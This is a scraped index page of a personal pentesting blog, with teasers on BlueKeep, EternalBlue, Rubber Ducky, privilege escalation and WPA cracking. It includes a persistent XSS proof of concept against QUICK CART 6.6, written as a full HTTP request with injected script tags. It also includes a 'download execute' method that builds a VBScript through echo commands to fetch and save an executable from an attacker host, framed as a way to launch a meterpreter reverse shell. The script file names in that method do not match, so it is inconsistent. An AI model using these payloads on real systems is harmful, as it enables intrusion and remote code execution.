Bluekeep Exploit – CVE-2019-0708
StandardPi-Holed
StandardVery recent i felt one of my virtual machine is infected by a malware and i was thinking about restoring it to a clean snapshot but then i thought lets find other ways to identify and block these type of attacks. There were few more issue i wanted to resolve on my network which includes blocking of advertisements on the pages i visit, blocking all malicious IOC over network etc, one of the game BattleField 4 which i play on PS4 wasn’t able to connect to online gaming due to blocking of DNS at ISP etc.
Started doing my research where i found discovered “Pi-Hole”, Basically Pi Hole is a network wide Advertisement blocking solution (DNS Server) which can be installed on virtual machine or on your own hardware e.g RaspberryPI 3 in my case.
Eternalblue Exploit with DoublePulsar
StandardPlease see below Eternalblue exploiting my win7 machine.
Rubber Ducky
StandardDuring my recent internal blackbox testing, i got a chance to use the rubber ducky. This device looks like a USB thumb drive, can be concealed inside a standard USB case and it acts like a keyboard. The script written on the SD card is called ducky script which is very easy to understand.
Since there are alot of write ups on the internet about the ducky ill just be posting on of the script i used in my recent pentesting. I hope you may find it useful .
The script is written keeping in mind that not all windows OS are same, and hardware specification are different as well. While using the default scripts at times the system was not able to type complete code, hence you will see many spaces and delays.
Reverse Shell
Liferay Portal 5.1.2 – Persistent XSS
Standard#Exploit Title: Liferay Portal 5.1.2 - Persistent XSS #Discovery Date: 2016-02-10#Exploit Author: Sarim Kiani#Vendor Homepage: https://www.liferay.com#Software Link: https://www.liferay.com/community/releases#Version: 5.1.2#Tested on: Windows OSLiferay Portal 5.1.2 is an open source version of Liferay's enterprise web platform for building business solutions that deliver immediate results and long-term value.QUICK CART V6.6 Persistent XSS
Standard# Exploit Title: QUICK CART V6.6 Persistent XSS# Date: 19/01/2016# Exploit Author: Mr T# Exploit Authors Website: http://www.securitypentester.# Vendor Homepage: http://opensolution.org/home.# Software Link: http://opensolution.org/# Vulnerable Version: V6.6# Tested on: Linux# Vendor doesn’t consider this a vulnerability.
Persistent XSS
Issue No # 1
Persistent XSS on parameter “title”
Request Sent:
POST /admin.php?p=tools-config HTTP/1.1
Host: 192.168.2.100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.100/admin.php?p=tools-config& sOption=login-pass
Cookie: PHPSESSID=ijfqciqrrhme9g3rghoj7oatr3; sLogin=admin; bLicense66=true
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 824
sOption=save+%C2%BB&title=50a77%3c%2ftitle%3e%3cscript% 3econfirm(1)%3c%2fscript% 3e6f169&default_lang=en&admin_ lang=en&skin=default&sorting_ products=true¤cy_symbol= EUR&hidden_shows=false& display_expanded_menu=true& language_in_url=false&start_ page=6&basket_page=15&order_ page=16&order_print=18&rules_ page=4&page_search=17&admin_ list=25&products_list=6& change_files_names=false& delete_unused_files=true& wysiwyg=true&send_customer_ order_details=false&display_ subcategory_products=true& remember_basket=false& description=Freeware%2C+fast% 2C+simple%2C+and+multilingual+ shopping+cart+system.+It+is+ based+on+Flat+Files%2C+uses+ templates+system%2C+valid+ XHTML+1.1+and+WAI&logo=%3C% 2Fh1%3E%3Cscript%3Ealert%28% 22XSS%22%29%3C%2Fscript%3E% 3Ch1%3E&slogan=Fast+and+ simple+shopping+cart&foot_ info=All+rights+reserved& login=admin&pass=admin&orders_ email=
Windows Privilege Escalation
StandardWindows privilege escalation exploits are used for elevation of privilege locally and runs arbitrary code in kernel mode. In other words, when you have a web backdoor shell on your target server which doesn’t have administrative privileges you would require a exploit to get admin account.
During my many penetration testing experience, at times i am able to upload web backdoor shell, however my goal is to get Administrator level privileges . When ever i upload a web shell, the second file i upload is a Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems. This can be downloaded from https://github.com/pentestmonkey/windows-privesc-check .
PassGen – Generate Wordlist & Crack WPA/WPA2
StandardI recently came across a python script which creates random characters like CRUNCH and cracking a WPA / WPA2 cap file.
This script can be found at https://github.com/blmvxer/passgen/ provide a good GPU and you wont need a wordlist anymore.
Furthermore a custom list can be generated , Please see the example below
./crunch 8 8 -f /usr/share/crunch/charset.lst numeric -t ‘[email protected]’@@@@ -l [email protected]
Download Execute Alternate Method
StandardDuring web application pentest performed on a windows box, we are at times able to upload a web shell and execute commands, Aim is to always get administrator privileges.
I stumbled upon this scenario where i wanted to run a meterpreter reverse binary through command execution vulnerability. Since i cannot wget or curl on windows box, i found a way through VBS. This let me download and execute an EXE.
echo Dim HTTPGET >> localexploit.vbs
echo Set HTTPGET = CreateObject(“Microsoft.XMLHTTP”) >> localexploit.vbs &&
echo HTTPGET.Open “GET”, “http://192.168.1.10/ring0.exe”, false >> localexploit.vbs
echo HTTPGET.Send >> localexploit.vbs
echo DataBin = HTTPGET.ResponseBody >> localexploit.vbs
echo Const adTypeBinary=1 >> localexploit.vbs
echo Const adSaveCreateOverWrite=2 >> localexploit.vbs
echo Dim SendBinary >> localexploit.vbs
echo Set SendBinary = CreateObject(“ADODB.Stream”) >> localexploit.vbs
echo SendBinary.Type = adTypeBinary >> localexploit.vbs
echo SendBinary.Open >> localexploit.vbs
echo SendBinary.Write DataBin >> localexploit.vbs
echo SendBinary.SaveToFile “ring0.exe”, adSaveCreateOverWrite >> localexploit.vbs
cscript //Nologo /B runexploit.vbs
Please see URL : http://ethicalhacking.ninja/?c2b99165d69a5b52#5HMGn0WjBu8HPL1ow88XPr5V/NsXC6Y2W5QWF51fDWE=
This can be combined with local admin exploits to give full control over the machine. The command can be send in a single line by adding && , Please see the examples below.
echo Dim HTTPGET >> localexploit.vbs && echo Set HTTPGET = CreateObject(“Microsoft.XMLHTTP”) >> localexploit.vbs && echo HTTPGET.Open “GET”, “http://192.168.1.10/ring0.exe”, false >> localexploit.vbs && echo HTTPGET.Send >> localexploit.vbs && echo DataBin = HTTPGET.ResponseBody >> localexploit.vbs && echo Const adTypeBinary=1 >> localexploit.vbs && echo Const adSaveCreateOverWrite=2 >> localexploit.vbs && echo Dim SendBinary >> localexploit.vbs && echo Set SendBinary = CreateObject(“ADODB.Stream”) >> localexploit.vbs && echo SendBinary.Type = adTypeBinary >> localexploit.vbs && echo SendBinary.Open >> localexploit.vbs && echo SendBinary.Write DataBin >> localexploit.vbs && echo SendBinary.SaveToFile “ring0.exe”, adSaveCreateOverWrite >> localexploit.vbs && cscript //Nologo /B runexploit.vbs
Please see URL : http://ethicalhacking.ninja/?548d4d15053430fd#gpQnTUo6jeaIl0tcU7vW3GatF0IsJ//oomqHkXwtTB8=